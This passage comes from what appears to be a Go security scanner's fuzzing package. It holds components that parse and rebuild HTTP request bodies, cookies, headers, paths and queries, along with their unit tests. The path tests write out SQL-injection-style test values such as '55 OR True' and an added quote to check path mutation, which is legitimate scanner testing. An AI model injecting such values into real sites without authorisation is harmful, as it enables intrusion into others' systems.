\"testpass\")\n\n\tcontentType := writer.FormDataContentType()\n\t_ = writer.Close()\n\n\treq, err := retryablehttp.NewRequest(\"POST\", \"https://example.com\", formData)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treq.Header.Set(\"Content-Type\", contentType)\n\n\tbody := New(RequestBodyComponent)\n\t_, err = body.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = body.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tvalues = append(values, value.(string))\n\t\treturn nil\n\t})\n\n\trequire.ElementsMatch(t, []string{\"username\", \"password\"}, keys, \"unexpected keys\")\n\trequire.ElementsMatch(t, []string{\"testuser\", \"testpass\"}, values, \"unexpected values\")\n\n\t// Update a value in the form\n\t_ = body.SetValue(\"password\", \"updatedTestPass\")\n\n\trebuilt, err := body.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnewBody, err := io.ReadAll(rebuilt.Body)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Check if the body contains the updated multipart form data\n\trequire.Contains(t, string(newBody), \"updatedTestPass\", \"unexpected body content\")\n\trequire.Contains(t, string(newBody), \"username\", \"unexpected body content\")\n\trequire.Contains(t, string(newBody), \"testuser\", \"unexpected body content\")\n}\n"
  },
  {
    "path": "pkg/fuzz/component/component.go",
    "content": "package component\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/leslie-qiwa/flat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// ErrSetValue is a error raised when a value cannot be set\nvar ErrSetValue = errors.New(\"could not set value\")\n\nfunc IsErrSetValue(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\treturn strings.Contains(err.Error(), \"could not set value\")\n}\n\n// ErrKeyNotFound is a error raised when a key is not found\nvar ErrKeyNotFound = errors.New(\"key not found\")\n\n// Component is a component for a request\ntype Component interface {\n\t// Name returns the name of the component\n\tName() string\n\t// Parse parses the component and returns the\n\t// parsed component\n\tParse(req *retryablehttp.Request) (bool, error)\n\t// Iterate iterates over all values of a component\n\t// ex in case of query component, it will iterate over each query parameter\n\t// depending on the rule if mode is single\n\t// request is rebuilt for each value in this callback\n\t// and in case of multiple, request will be rebuilt after iteration of all values\n\tIterate(func(key string, value interface{}) error) error\n\t// SetValue sets a value in the component\n\t// for a key\n\t//\n\t// After calling setValue for mutation, the value must be\n\t// called again so as to reset the body to its original state.\n\tSetValue(key string, value string) error\n\t// Delete deletes a key from the component\n\t// If it is applicable\n\tDelete(key string) error\n\t// Rebuild returns a new request with the\n\t// component rebuilt\n\tRebuild() (*retryablehttp.Request, error)\n\t// Clones current state of this component\n\tClone() Component\n}\n\nconst (\n\t// RequestBodyComponent is the name of the request body component\n\tRequestBodyComponent = \"body\"\n\t// RequestQueryComponent is the name of the request query component\n\tRequestQueryComponent = \"query\"\n\t// RequestPathComponent is the name of the request url component\n\tRequestPathComponent = \"path\"\n\t// RequestHeaderComponent is the name of the request header component\n\tRequestHeaderComponent = \"header\"\n\t// RequestCookieComponent is the name of the request cookie component\n\tRequestCookieComponent = \"cookie\"\n)\n\n// Components is a list of all available components\nvar Components = []string{\n\tRequestBodyComponent,\n\tRequestQueryComponent,\n\tRequestHeaderComponent,\n\tRequestPathComponent,\n\tRequestCookieComponent,\n}\n\n// New creates a new component for a componentType\nfunc New(componentType string) Component {\n\tswitch componentType {\n\tcase \"body\":\n\t\treturn NewBody()\n\tcase \"query\":\n\t\treturn NewQuery()\n\tcase \"path\":\n\t\treturn NewPath()\n\tcase \"header\":\n\t\treturn NewHeader()\n\tcase \"cookie\":\n\t\treturn NewCookie()\n\t}\n\treturn nil\n}\n\nvar (\n\tflatOpts = &flat.Options{\n\t\tSafe:      true,\n\t\tDelimiter: \"~\",\n\t}\n)\n"
  },
  {
    "path": "pkg/fuzz/component/cookie.go",
    "content": "package component\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// Cookie is a component for a request cookie\ntype Cookie struct {\n\tvalue *Value\n\n\treq *retryablehttp.Request\n}\n\nvar _ Component = &Cookie{}\n\n// NewCookie creates a new cookie component\nfunc NewCookie() *Cookie {\n\treturn &Cookie{}\n}\n\n// Name returns the name of the component\nfunc (c *Cookie) Name() string {\n\treturn RequestCookieComponent\n}\n\n// Parse parses the component and returns the\n// parsed component\nfunc (c *Cookie) Parse(req *retryablehttp.Request) (bool, error) {\n\tif len(req.Cookies()) == 0 {\n\t\treturn false, nil\n\t}\n\tc.req = req\n\tc.value = NewValue(\"\")\n\n\tparsedCookies := mapsutil.NewOrderedMap[string, any]()\n\tfor _, cookie := range req.Cookies() {\n\t\tparsedCookies.Set(cookie.Name, cookie.Value)\n\t}\n\tif parsedCookies.Len() == 0 {\n\t\treturn false, nil\n\t}\n\tc.value.SetParsed(dataformat.KVOrderedMap(&parsedCookies), \"\")\n\treturn true, nil\n}\n\n// Iterate iterates through the component\nfunc (c *Cookie) Iterate(callback func(key string, value interface{}) error) (err error) {\n\tc.value.parsed.Iterate(func(key string, value any) bool {\n\t\tif errx := callback(key, value); errx != nil {\n\t\t\terr = errx\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn\n}\n\n// SetValue sets a value in the component\n// for a key\nfunc (c *Cookie) SetValue(key string, value string) error {\n\tif !c.value.SetParsedValue(key, value) {\n\t\treturn ErrSetValue\n\t}\n\treturn nil\n}\n\n// Delete deletes a key from the component\nfunc (c *Cookie) Delete(key string) error {\n\tif !c.value.Delete(key) {\n\t\treturn ErrKeyNotFound\n\t}\n\treturn nil\n}\n\n// Rebuild returns a new request with the\n// component rebuilt\nfunc (c *Cookie) Rebuild() (*retryablehttp.Request, error) {\n\t// TODO: Fix cookie duplication with auth-file\n\tcloned := c.req.Clone(context.Background())\n\n\tcloned.Header.Del(\"Cookie\")\n\tc.value.parsed.Iterate(func(key string, value any) bool {\n\t\tcookie := &http.Cookie{\n\t\t\tName:  key,\n\t\t\tValue: fmt.Sprint(value), // Assume the value is always a string for cookies\n\t\t}\n\t\tcloned.AddCookie(cookie)\n\t\treturn true\n\t})\n\treturn cloned, nil\n}\n\n// Clone clones current state of this component\nfunc (c *Cookie) Clone() Component {\n\treturn &Cookie{\n\t\tvalue: c.value.Clone(),\n\t\treq:   c.req.Clone(context.Background()),\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/component/cookie_test.go",
    "content": "package component\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCookieComponent(t *testing.T) {\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tcookie := &http.Cookie{\n\t\tName:  \"session\",\n\t\tValue: \"test-session\",\n\t}\n\treq.AddCookie(cookie)\n\n\tcookieComponent := NewCookie() // Assuming you have a function like this for creating a new cookie component\n\t_, err = cookieComponent.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar cookieNames []string\n\tvar cookieValues []string\n\t_ = cookieComponent.Iterate(func(key string, value interface{}) error {\n\t\tcookieNames = append(cookieNames, key)\n\t\tswitch v := value.(type) {\n\t\tcase string:\n\t\t\tcookieValues = append(cookieValues, v)\n\t\tcase []string:\n\t\t\tcookieValues = append(cookieValues, v...)\n\t\t}\n\t\treturn nil\n\t})\n\n\trequire.Equal(t, []string{\"session\"}, cookieNames, \"unexpected cookie names\")\n\trequire.Equal(t, []string{\"test-session\"}, cookieValues, \"unexpected cookie values\")\n\n\terr = cookieComponent.SetValue(\"session\", \"new-session\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trebuilt, err := cookieComponent.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Assuming the Rebuild function will reconstruct the entire request and also set the modified cookies\n\tnewCookie, _ := rebuilt.Cookie(\"session\")\n\trequire.Equal(t, \"new-session\", newCookie.Value, \"unexpected cookie value\")\n}\n"
  },
  {
    "path": "pkg/fuzz/component/headers.go",
    "content": "package component\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Header is a component for a request header\ntype Header struct {\n\tvalue *Value\n\n\treq *retryablehttp.Request\n}\n\nvar _ Component = &Header{}\n\n// NewHeader creates a new header component\nfunc NewHeader() *Header {\n\treturn &Header{}\n}\n\n// Name returns the name of the component\nfunc (q *Header) Name() string {\n\treturn RequestHeaderComponent\n}\n\n// Parse parses the component and returns the\n// parsed component\nfunc (q *Header) Parse(req *retryablehttp.Request) (bool, error) {\n\tq.req = req\n\tq.value = NewValue(\"\")\n\n\tparsedHeaders := make(map[string]interface{})\n\tfor key, value := range req.Header {\n\t\tif len(value) == 1 {\n\t\t\tparsedHeaders[key] = value[0]\n\t\t\tcontinue\n\t\t}\n\t\tparsedHeaders[key] = value\n\t}\n\tq.value.SetParsed(dataformat.KVMap(parsedHeaders), \"\")\n\treturn true, nil\n}\n\n// Iterate iterates through the component\nfunc (q *Header) Iterate(callback func(key string, value interface{}) error) (errx error) {\n\tq.value.parsed.Iterate(func(key string, value any) bool {\n\t\t// Skip ignored headers\n\t\tif _, ok := defaultIgnoredHeaderKeys[key]; ok {\n\t\t\treturn ok\n\t\t}\n\t\tif err := callback(key, value); err != nil {\n\t\t\terrx = err\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn\n}\n\n// SetValue sets a value in the component\n// for a key\nfunc (q *Header) SetValue(key string, value string) error {\n\tif !q.value.SetParsedValue(key, value) {\n\t\treturn ErrSetValue\n\t}\n\treturn nil\n}\n\n// Delete deletes a key from the component\nfunc (q *Header) Delete(key string) error {\n\tif !q.value.Delete(key) {\n\t\treturn ErrKeyNotFound\n\t}\n\treturn nil\n}\n\n// Rebuild returns a new request with the\n// component rebuilt\nfunc (q *Header) Rebuild() (*retryablehttp.Request, error) {\n\tcloned := q.req.Clone(context.Background())\n\tq.value.parsed.Iterate(func(key string, value any) bool {\n\t\tif strings.TrimSpace(key) == \"\" {\n\t\t\treturn true\n\t\t}\n\t\tif strings.EqualFold(key, \"Host\") {\n\t\t\treturn true\n\t\t}\n\t\tif vx, ok := IsTypedSlice(value); ok {\n\t\t\t// convert to []interface{}\n\t\t\tvalue = vx\n\t\t}\n\t\tif v, ok := value.([]interface{}); ok {\n\t\t\tfor _, vv := range v {\n\t\t\t\tcloned.Header.Add(key, vv.(string))\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\tcloned.Header.Set(key, value.(string))\n\t\treturn true\n\t})\n\treturn cloned, nil\n}\n\n// Clones current state of this component\nfunc (q *Header) Clone() Component {\n\treturn &Header{\n\t\tvalue: q.value.Clone(),\n\t\treq:   q.req.Clone(context.Background()),\n\t}\n}\n\n// A list of headers that are essential to the request and\n// must not be fuzzed.\nvar defaultIgnoredHeaderKeys = map[string]struct{}{\n\t\"Accept-Charset\":                   {},\n\t\"Accept-Datetime\":                  {},\n\t\"Accept-Encoding\":                  {},\n\t\"Accept-Language\":                  {},\n\t\"Accept\":                           {},\n\t\"Access-Control-Request-Headers\":   {},\n\t\"Access-Control-Request-Method\":    {},\n\t\"Authorization\":                    {},\n\t\"Cache-Control\":                    {},\n\t\"Connection\":                       {},\n\t\"Cookie\":                           {},\n\t\"Content-Length\":                   {},\n\t\"Content-Type\":                     {},\n\t\"Date\":                             {},\n\t\"Dnt\":                              {},\n\t\"Expect\":                           {},\n\t\"Forwarded\":                        {},\n\t\"From\":                             {},\n\t\"Host\":                             {},\n\t\"If-Match\":                         {},\n\t\"If-Modified-Since\":                {},\n\t\"If-None-Match\":                    {},\n\t\"If-Range\":                         {},\n\t\"If-Unmodified-Since\":              {},\n\t\"Max-Forwards\":                     {},\n\t\"Pragma\":                           {},\n\t\"Priority\":                         {},\n\t\"Proxy-Authorization\":              {},\n\t\"Range\":                            {},\n\t\"Sec-Ch-Ua\":                        {},\n\t\"Sec-Ch-Ua-Mobile\":                 {},\n\t\"Sec-Ch-Ua-Platform\":               {},\n\t\"Sec-Fetch-Dest\":                   {},\n\t\"Sec-Fetch-Mode\":                   {},\n\t\"Sec-Fetch-Site\":                   {},\n\t\"Sec-Fetch-User\":                   {},\n\t\"TE\":                               {},\n\t\"Upgrade\":                          {},\n\t\"Via\":                              {},\n\t\"Warning\":                          {},\n\t\"Upgrade-Insecure-Requests\":        {},\n\t\"X-CSRF-Token\":                     {},\n\t\"X-Requested-With\":                 {},\n\t\"Strict-Transport-Security\":        {},\n\t\"Content-Security-Policy\":          {},\n\t\"X-Content-Type-Options\":           {},\n\t\"X-Frame-Options\":                  {},\n\t\"X-XSS-Protection\":                 {},\n\t\"Public-Key-Pins\":                  {},\n\t\"Referrer-Policy\":                  {},\n\t\"Access-Control-Allow-Origin\":      {},\n\t\"Access-Control-Allow-Credentials\": {},\n\t\"Access-Control-Expose-Headers\":    {},\n\t\"Access-Control-Max-Age\":           {},\n\t\"Access-Control-Allow-Methods\":     {},\n\t\"Access-Control-Allow-Headers\":     {},\n\t\"Server\":                           {},\n\t\"X-Powered-By\":                     {},\n\t\"X-AspNet-Version\":                 {},\n\t\"X-AspNetMvc-Version\":              {},\n\t\"ETag\":                             {},\n\t\"Vary\":                             {},\n\t\"Expires\":                          {},\n\t\"Last-Modified\":                    {},\n\t\"X-Cache\":                          {},\n\t\"X-Proxy-ID\":                       {},\n\t\"CF-Ray\":                           {}, // Cloudflare\n\t\"X-Served-By\":                      {}, // Varnish, etc.\n\t\"X-Cache-Hits\":                     {},\n\t\"Content-Encoding\":                 {},\n\t\"Transfer-Encoding\":                {},\n\t\"Location\":                         {},\n\t\"WWW-Authenticate\":                 {},\n\t\"Proxy-Authenticate\":               {},\n\t\"X-Access-Token\":                   {},\n\t\"X-Refresh-Token\":                  {},\n\t\"Link\":                             {},\n\t\"X-Content-Duration\":               {},\n\t\"X-UA-Compatible\":                  {},\n\t\"X-RateLimit-Limit\":                {}, // Rate limiting header\n\t\"X-RateLimit-Remaining\":            {}, // Rate limiting header\n\t\"X-RateLimit-Reset\":                {}, // Rate limiting header\n}\n"
  },
  {
    "path": "pkg/fuzz/component/headers_test.go",
    "content": "package component\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHeaderComponent(t *testing.T) {\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treq.Header.Set(\"User-Agent\", \"test-agent\")\n\n\theader := NewHeader()\n\t_, err = header.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = header.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tswitch v := value.(type) {\n\t\tcase string:\n\t\t\tvalues = append(values, v)\n\t\tcase []string:\n\t\t\tvalues = append(values, v...)\n\t\t}\n\t\treturn nil\n\t})\n\n\trequire.Equal(t, []string{\"User-Agent\"}, keys, \"unexpected keys\")\n\trequire.Equal(t, []string{\"test-agent\"}, values, \"unexpected values\")\n\n\terr = header.SetValue(\"User-Agent\", \"new-agent\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trebuilt, err := header.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trequire.Equal(t, \"new-agent\", rebuilt.Header.Get(\"User-Agent\"), \"unexpected header value\")\n}\n"
  },
  {
    "path": "pkg/fuzz/component/path.go",
    "content": "package component\n\nimport (\n\t\"context\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Path is a component for a request Path\ntype Path struct {\n\tvalue *Value\n\n\toriginalPath string\n\treq          *retryablehttp.Request\n}\n\nvar _ Component = &Path{}\n\n// NewPath creates a new URL component\nfunc NewPath() *Path {\n\treturn &Path{}\n}\n\n// Name returns the name of the component\nfunc (q *Path) Name() string {\n\treturn RequestPathComponent\n}\n\n// Parse parses the component and returns the\n// parsed component\nfunc (q *Path) Parse(req *retryablehttp.Request) (bool, error) {\n\tq.req = req\n\tq.originalPath = req.Path\n\tq.value = NewValue(\"\")\n\n\tsplit := strings.Split(req.Path, \"/\")\n\tvalues := make(map[string]interface{})\n\tfor i, segment := range split {\n\t\tif segment == \"\" && i == 0 {\n\t\t\t// Skip the first empty segment from leading \"/\"\n\t\t\tcontinue\n\t\t}\n\t\tif segment == \"\" {\n\t\t\t// Skip any other empty segments\n\t\t\tcontinue\n\t\t}\n\t\t// Use 1-based indexing and store individual segments\n\t\tkey := strconv.Itoa(len(values) + 1)\n\t\tvalues[key] = segment\n\t}\n\tq.value.SetParsed(dataformat.KVMap(values), \"\")\n\treturn true, nil\n}\n\n// Iterate iterates through the component\nfunc (q *Path) Iterate(callback func(key string, value interface{}) error) (err error) {\n\tq.value.parsed.Iterate(func(key string, value any) bool {\n\t\tif errx := callback(key, value); errx != nil {\n\t\t\terr = errx\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn\n}\n\n// SetValue sets a value in the component\n// for a key\nfunc (q *Path) SetValue(key string, value string) error {\n\tescaped := urlutil.PathEncode(value)\n\tif !q.value.SetParsedValue(key, escaped) {\n\t\treturn ErrSetValue\n\t}\n\treturn nil\n}\n\n// Delete deletes a key from the component\nfunc (q *Path) Delete(key string) error {\n\tif !q.value.Delete(key) {\n\t\treturn ErrKeyNotFound\n\t}\n\treturn nil\n}\n\n// Rebuild returns a new request with the\n// component rebuilt\nfunc (q *Path) Rebuild() (*retryablehttp.Request, error) {\n\t// Use the snapshot of the original path to avoid mutation from Clone/UpdateRelPath\n\toriginalSplit := strings.Split(q.originalPath, \"/\")\n\n\t// Create a new slice to hold the rebuilt segments\n\trebuiltSegments := make([]string, 0, len(originalSplit))\n\n\t// Add the first empty segment (from leading \"/\")\n\tif len(originalSplit) > 0 && originalSplit[0] == \"\" {\n\t\trebuiltSegments = append(rebuiltSegments, \"\")\n\t}\n\n\t// Process each segment\n\tsegmentIndex := 1 // 1-based indexing for our stored values\n\tfor i := 1; i < len(originalSplit); i++ {\n\t\toriginalSegment := originalSplit[i]\n\t\tif originalSegment == \"\" {\n\t\t\t// Skip empty segments\n\t\t\tcontinue\n\t\t}\n\n\t\t// Check if we have a replacement for this segment\n\t\tkey := strconv.Itoa(segmentIndex)\n\t\tif newValue, exists := q.value.parsed.Map.GetOrDefault(key, \"\").(string); exists && newValue != \"\" {\n\t\t\trebuiltSegments = append(rebuiltSegments, newValue)\n\t\t} else {\n\t\t\trebuiltSegments = append(rebuiltSegments, originalSegment)\n\t\t}\n\t\tsegmentIndex++\n\t}\n\n\t// Join the segments back into a path\n\trebuiltPath := strings.Join(rebuiltSegments, \"/\")\n\n\tif unescaped, err := urlutil.PathDecode(rebuiltPath); err == nil {\n\t\t// this is handle the case where anyportion of path has url encoded data\n\t\t// by default the http/request official library will escape/encode special characters in path\n\t\t// to avoid double encoding we unescape/decode already encoded value\n\t\t//\n\t\t// if there is a invalid url encoded value like %99 then it will still be encoded as %2599 and not %99\n\t\t// the only way to make sure it stays as %99 is to implement raw request and unsafe for fuzzing as well\n\t\trebuiltPath = unescaped\n\t}\n\n\t// Clone the request and update the path\n\tcloned := q.req.Clone(context.Background())\n\tif err := cloned.UpdateRelPath(rebuiltPath, true); err != nil {\n\t\tcloned.RawPath = rebuiltPath\n\t}\n\treturn cloned, nil\n}\n\n// Clones current state to a new component\nfunc (q *Path) Clone() Component {\n\treturn &Path{\n\t\tvalue:        q.value.Clone(),\n\t\toriginalPath: q.originalPath,\n\t\treq:          q.req.Clone(context.Background()),\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/component/path_test.go",
    "content": "package component\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestURLComponent(t *testing.T) {\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com/testpath\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\turlComponent := NewPath()\n\t_, err = urlComponent.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = urlComponent.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tvalues = append(values, value.(string))\n\t\treturn nil\n\t})\n\n\trequire.Equal(t, []string{\"1\"}, keys, \"unexpected keys\")\n\trequire.Equal(t, []string{\"testpath\"}, values, \"unexpected values\")\n\n\terr = urlComponent.SetValue(\"1\", \"newpath\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trebuilt, err := urlComponent.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.Equal(t, \"/newpath\", rebuilt.Path, \"unexpected URL path\")\n\trequire.Equal(t, \"https://example.com/newpath\", rebuilt.String(), \"unexpected full URL\")\n}\n\nfunc TestURLComponent_NestedPaths(t *testing.T) {\n\tpath := NewPath()\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com/user/753/profile\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfound, err := path.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !found {\n\t\tt.Fatal(\"expected path to be found\")\n\t}\n\n\tisSet := false\n\n\t_ = path.Iterate(func(key string, value interface{}) error {\n\t\tt.Logf(\"Key: %s, Value: %s\", key, value.(string))\n\t\tif !isSet && value.(string) == \"753\" {\n\t\t\tisSet = true\n\t\t\tif setErr := path.SetValue(key, \"753'\"); setErr != nil {\n\t\t\t\tt.Fatal(setErr)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n\tnewReq, err := path.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif newReq.Path != \"/user/753'/profile\" {\n\t\tt.Fatalf(\"expected path to be '/user/753'/profile', got '%s'\", newReq.Path)\n\t}\n}\n\n// TestPathComponent_RebuildDoesNotMutateOriginal verifies that Rebuild()\n// does not mutate the original request path, which caused numeric path\n// segments to be skipped when fuzzing in single mode (issue #6398).\nfunc TestPathComponent_RebuildDoesNotMutateOriginal(t *testing.T) {\n\tpath := NewPath()\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com/user/55/profile\", nil)\n\trequire.NoError(t, err)\n\n\tfound, err := path.Parse(req)\n\trequire.NoError(t, err)\n\trequire.True(t, found)\n\n\t// Simulate single-mode fuzzing: fuzz each segment one at a time,\n\t// rebuilding after each and then resetting.\n\tsegments := map[string]string{}\n\t_ = path.Iterate(func(key string, value interface{}) error {\n\t\tsegments[key] = value.(string)\n\t\treturn nil\n\t})\n\n\tvar fuzzedPaths []string\n\tfor key, original := range segments {\n\t\terr := path.SetValue(key, original+\"%20FUZZED\")\n\t\trequire.NoError(t, err)\n\n\t\trebuilt, err := path.Rebuild()\n\t\trequire.NoError(t, err)\n\t\tfuzzedPaths = append(fuzzedPaths, rebuilt.Path)\n\n\t\t// Reset value back to original\n\t\terr = path.SetValue(key, original)\n\t\trequire.NoError(t, err)\n\t}\n\n\t// All three segments must have been fuzzed\n\trequire.Len(t, fuzzedPaths, 3, \"expected 3 fuzzed paths for 3 segments\")\n\n\t// Verify that each segment was individually fuzzed\n\trequire.Contains(t, fuzzedPaths, \"/user FUZZED/55/profile\")\n\trequire.Contains(t, fuzzedPaths, \"/user/55 FUZZED/profile\")\n\trequire.Contains(t, fuzzedPaths, \"/user/55/profile FUZZED\")\n}\n\nfunc TestPathComponent_SQLInjection(t *testing.T) {\n\tpath := NewPath()\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com/user/55/profile\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfound, err := path.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !found {\n\t\tt.Fatal(\"expected path to be found\")\n\t}\n\n\tt.Logf(\"Original path: %s\", req.Path)\n\n\t// Let's see what path segments are available for fuzzing\n\terr = path.Iterate(func(key string, value interface{}) error {\n\t\tt.Logf(\"Key: %s, Value: %s\", key, value.(string))\n\n\t\t// Try fuzzing the \"55\" segment specifically (which should be key \"2\")\n\t\tif value.(string) == \"55\" {\n\t\t\tif setErr := path.SetValue(key, \"55 OR True\"); setErr != nil {\n\t\t\t\tt.Fatal(setErr)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnewReq, err := path.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tt.Logf(\"Modified path: %s\", newReq.Path)\n\n\t// Now with PathEncode, spaces are preserved correctly for SQL injection\n\tif newReq.Path != \"/user/55 OR True/profile\" {\n\t\tt.Fatalf(\"expected path to be '/user/55 OR True/profile', got '%s'\", newReq.Path)\n\t}\n\n\t// Let's also test what the actual URL looks like\n\tt.Logf(\"Full URL: %s\", newReq.String())\n}\n"
  },
  {
    "path": "pkg/fuzz/component/query.go",
    "content": "package component\n\nimport (\n\t\"context\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Query is a component for a request query\ntype Query struct {\n\tvalue *Value\n\n\treq *retryablehttp.Request\n}\n\nvar _ Component = &Query{}\n\n// NewQuery creates a new query component\nfunc NewQuery() *Query {\n\treturn &Query{}\n}\n\n// Name returns the name of the component\nfunc (q *Query) Name() string {\n\treturn RequestQueryComponent\n}\n\n// Parse parses the component and returns the\n// parsed component\nfunc (q *Query) Parse(req *retryablehttp.Request) (bool, error) {\n\tif req.URL.Query().IsEmpty() {\n\t\treturn false, nil\n\t}\n\tq.req = req\n\n\tq.value = NewValue(req.URL.Query().Encode())\n\n\tparsed, err := dataformat.Get(dataformat.FormDataFormat).Decode(q.value.String())\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tq.value.SetParsed(parsed, dataformat.FormDataFormat)\n\treturn true, nil\n}\n\n// Iterate iterates through the component\nfunc (q *Query) Iterate(callback func(key string, value interface{}) error) (errx error) {\n\tq.value.parsed.Iterate(func(key string, value interface{}) bool {\n\t\tif err := callback(key, value); err != nil {\n\t\t\terrx = err\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn\n}\n\n// SetValue sets a value in the component\n// for a key\nfunc (q *Query) SetValue(key string, value string) error {\n\t// Is this safe?\n\tif !q.value.SetParsedValue(key, value) {\n\t\treturn ErrSetValue\n\t}\n\treturn nil\n}\n\n// Delete deletes a key from the component\nfunc (q *Query) Delete(key string) error {\n\tif !q.value.Delete(key) {\n\t\treturn ErrKeyNotFound\n\t}\n\treturn nil\n}\n\n// Rebuild returns a new request with the\n// component rebuilt\nfunc (q *Query) Rebuild() (*retryablehttp.Request, error) {\n\tencoded, err := q.value.Encode()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not encode query\")\n\t}\n\tcloned := q.req.Clone(context.Background())\n\tcloned.RawQuery = encoded\n\n\t// Clear the query parameters and re-add them\n\tcloned.Params = nil\n\tcloned.Params = urlutil.NewOrderedParams()\n\tcloned.Params.Decode(encoded)\n\tcloned.Update()\n\treturn cloned, nil\n}\n\n// Clones current state to a new component\nfunc (q *Query) Clone() Component {\n\treturn &Query{\n\t\tvalue: q.value.Clone(),\n\t\treq:   q.req.Clone(context.Background()),\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/component/query_test.go",
    "content": "package component\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestQueryComponent(t *testing.T) {\n\treq, err := retryablehttp.NewRequest(http.MethodGet, \"https://example.com?foo=bar\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tquery := NewQuery()\n\t_, err = query.Parse(req)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar keys []string\n\tvar values []string\n\t_ = query.Iterate(func(key string, value interface{}) error {\n\t\tkeys = append(keys, key)\n\t\tvalues = append(values, value.(string))\n\t\treturn nil\n\t})\n\n\trequire.Equal(t, []string{\"foo\"}, keys, \"unexpected keys\")\n\trequire.Equal(t, []string{\"bar\"}, values, \"unexpected values\")\n\n\terr = query.SetValue(\"foo\", \"baz\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trebuilt, err := query.Rebuild()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\trequire.Equal(t, \"foo=baz\", rebuilt.RawQuery, \"unexpected query string\")\n\trequire.Equal(t, \"https://example.com?foo=baz\", rebuilt.String(), \"unexpected url\")\n}\n"
  },
  {
    "path": "pkg/fuzz/component/value.go",
